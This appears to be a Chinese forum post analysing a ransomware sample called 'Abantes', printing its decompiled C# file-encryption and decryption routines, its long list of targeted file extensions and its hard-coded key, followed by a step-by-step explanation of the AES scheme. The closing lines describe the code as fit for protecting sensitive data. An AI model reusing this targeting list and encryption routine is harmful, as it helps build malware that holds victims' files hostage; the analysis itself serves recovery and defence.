好友
阅读权限20
听众
最后登录1970-1-1
|
以下是加密文件的相关代码
加密以下扩展名的文件
".jpg",
".jpeg",
".raw",
".tif",
".gif",
".png",
".bmp",
".3dm",
".max",
".accdb",
".db",
".dbf",
".mdb",
".pdb",
".sql",
".dwg",
".dxf",
".c",
".cpp",
".cs",
".h",
".php",
".asp",
".rb",
".java",
".jar",
".class",
".py",
".js",
".rar",
".zip",
".7zip",
".7z",
".dat",
".csv",
".efx",
".sdf",
".vcf",
".xml",
".ses",
".aaf",
".aep",
".aepx",
".plb",
".prel",
".prproj",
".aet",
".ppj",
".psd",
".indd",
".indl",
".indt",
".indb",
".inx",
".idml",
".pmd",
".xqx",
".xqx",
".ai",
".eps",
".ps",
".svg",
".swf",
".fla",
".as3",
".as",
".txt",
".doc",
".dot",
".docx",
".docm",
".dotx",
".dotm",
".docb",
".rtf",
".wpd",
".wps",
".msg",
".pdf",
".xls",
".xlt",
".xlm",
".xlsx",
".xlsm",
".xltx",
".xltm",
".xlsb",
".xla",
".xlam",
".xll",
".xlw",
".ppt",
".pot",
".pps",
".pptx",
".pptm",
".potx",
".potm",
".ppam",
".ppsx",
".ppsm",
".sldx",
".sldm",
".wav",
".mp3",
".aif",
".iff",
".m3u",
".m4u",
".mid",
".mpa",
".wma",
".ra",
".avi",
".mov",
".mp4",
".3gp",
".mpeg",
".3g2",
".asf",
".asx",
".flv",
".mpg",
".wmv",
".vob",
".m3u8",
".mkv",
".m4a",
".ico",
".dic",
".rex",
".hmg",
".config",
".resx",
".res"
调用Encryption.FileEncrypt函数,密钥是WR8h2GIbf9FGz6VVlSzJ
以下为加解密部分全部代码
[Asm] 纯文本查看 复制代码 using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
using System.Windows.Forms;
namespace Abantes.Utils
{
// Token: 0x02000008 RID: 8
internal class Encryption
{
// Token: 0x0600002B RID: 43 RVA: 0x000045C0 File Offset: 0x000027C0
public static byte[] GenerateRandomSalt()
{
byte[] array = new byte[32];
using (RNGCryptoServiceProvider rngcryptoServiceProvider = new RNGCryptoServiceProvider())
{
for (int i = 0; i < 10; i++)
{
rngcryptoServiceProvider.GetBytes(array);
}
}
return array;
}
// Token: 0x0600002C RID: 44 RVA: 0x0000460C File Offset: 0x0000280C
public static void FileEncrypt(string inputFile, string password)
{
byte[] array = Encryption.GenerateRandomSalt();
FileStream fileStream = new FileStream(inputFile + ".Abantes", FileMode.Create);
byte[] bytes = Encoding.UTF8.GetBytes(password);
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
rijndaelManaged.Padding = PaddingMode.PKCS7;
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, array, 50000);
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
rijndaelManaged.Mode = CipherMode.CFB;
fileStream.Write(array, 0, array.Length);
CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateEncryptor(), CryptoStreamMode.Write);
FileStream fileStream2 = new FileStream(inputFile, FileMode.Open);
byte[] array2 = new byte[1048576];
try
{
int count;
while ((count = fileStream2.Read(array2, 0, array2.Length)) > 0)
{
Application.DoEvents();
cryptoStream.Write(array2, 0, count);
}
fileStream2.Close();
}
catch (Exception ex)
{
Console.WriteLine("Error: " + ex.Message);
}
finally
{
cryptoStream.Close();
fileStream.Close();
}
}
// Token: 0x0600002D RID: 45 RVA: 0x00004740 File Offset: 0x00002940
public static void FileDecrypt(string inputFile, string outputFile, string password)
{
byte[] bytes = Encoding.UTF8.GetBytes(password);
byte[] array = new byte[32];
FileStream fileStream = new FileStream(inputFile, FileMode.Open);
fileStream.Read(array, 0, array.Length);
RijndaelManaged rijndaelManaged = new RijndaelManaged();
rijndaelManaged.KeySize = 256;
rijndaelManaged.BlockSize = 128;
Rfc2898DeriveBytes rfc2898DeriveBytes = new Rfc2898DeriveBytes(bytes, array, 50000);
rijndaelManaged.Key = rfc2898DeriveBytes.GetBytes(rijndaelManaged.KeySize / 8);
rijndaelManaged.IV = rfc2898DeriveBytes.GetBytes(rijndaelManaged.BlockSize / 8);
rijndaelManaged.Padding = PaddingMode.PKCS7;
rijndaelManaged.Mode = CipherMode.CFB;
CryptoStream cryptoStream = new CryptoStream(fileStream, rijndaelManaged.CreateDecryptor(), CryptoStreamMode.Read);
FileStream fileStream2 = new FileStream(outputFile, FileMode.Create);
byte[] array2 = new byte[1048576];
try
{
int count;
while ((count = cryptoStream.Read(array2, 0, array2.Length)) > 0)
{
Application.DoEvents();
fileStream2.Write(array2, 0, count);
}
}
catch (CryptographicException ex)
{
Console.WriteLine("CryptographicException error: " + ex.Message);
}
catch (Exception ex2)
{
Console.WriteLine("Error: " + ex2.Message);
}
try
{
cryptoStream.Close();
}
catch (Exception ex3)
{
Console.WriteLine("Error by closing CryptoStream: " + ex3.Message);
}
finally
{
fileStream2.Close();
fileStream.Close();
}
}
}
}
当使用上述代码进行文件加密和解密时,涉及到几个关键的步骤和流程。下面分别详细描述加密和解密的流程:加密流程 (FileEncrypt 方法)- 生成随机盐:
- 使用 GenerateRandomSalt() 方法生成一个长度为 32 字节的随机盐。盐在密码学中用于增加每个密码的唯一性,从而增强安全性。
- 打开输出文件流:
- 使用 FileStream 打开一个新文件,文件名为原始输入文件名加上 .Abantes 后缀。这个文件将用来存储加密后的数据。
- 生成密钥和 IV:
- 使用 Rfc2898DeriveBytes 类基于用户提供的密码和生成的随机盐来派生密钥和初始化向量 (IV)。这里使用了 50000 次迭代来增加密码派生的复杂性和安全性。
- 配置加密算法:
- 创建 RijndaelManaged 对象,设置密钥大小为 256 位,块大小为 128 位,填充模式为 PaddingMode.PKCS7,加密模式为 CipherMode.CFB。这些参数定义了 AES 加密算法的使用方式。
- 写入盐:
- 将生成的随机盐写入到输出文件流的开头。盐的存在使得每个文件的加密结果唯一。
- 创建加密流:
- 使用 CryptoStream 创建一个流,该流连接到输出文件流,并使用 RijndaelManaged 创建的加密器进行加密操作。
- 读取和加密文件:
- 打开原始输入文件的 FileStream,读取文件内容,并使用 CryptoStream 将读取的数据进行加密。加密后的数据会直接写入到输出文件流中。
- 关闭流:
- 关闭 CryptoStream 和文件流,释放资源。
解密流程 (FileDecrypt 方法)- 读取盐:
- 打开加密后的输入文件(文件名由用户提供),读取开头的 32 字节作为盐。这个盐与加密时写入的盐对应。
- 生成密钥和 IV:
- 使用与加密过程中相同的方法,即使用 Rfc2898DeriveBytes 类基于用户提供的密码和读取的盐来派生密钥和 IV。
- 配置解密算法:
- 创建 RijndaelManaged 对象,设置相同的密钥大小、块大小、填充模式和加密模式。
- 创建解密流:
- 使用 CryptoStream 创建一个流,连接到加密后的输入文件流,并使用 RijndaelManaged 创建的解密器进行解密操作。
- 写入解密后的文件:
- 创建一个新的 FileStream,用于写入解密后的数据,文件名由用户提供。通过 CryptoStream 读取加密后的输入文件流的数据,并将解密后的明文写入到新文件中。
- 关闭流:
- 关闭 CryptoStream 和文件流,释放资源。
关键点说明:- 密钥和 IV 的派生:
- 使用 Rfc2898DeriveBytes 类基于密码和盐来生成固定长度的密钥和 IV。这种方式确保了加密和解密时所使用的密钥和 IV 是一致的,同时增强了对密码的保护。
- 加密算法设置:
- AES 算法的参数设置包括密钥大小、块大小、填充模式和加密模式。这些参数需要在加密和解密时保持一致,以确保正确的加解密操作。
- 流的使用:
- 使用 CryptoStream 可以方便地将加密和解密操作集成到文件处理流程中,同时避免一次性将整个文件内容加载到内存中,适用于处理大文件。
- 异常处理:
- 使用 try-catch 块捕获可能发生的异常,如密码错误或文件读写问题,以便及时处理并给出反馈。
这些步骤构成了一个基本的文件加密和解密流程,适用于需要保护敏感数据的应用场景,同时提供了良好的安全性和可靠性。 |
|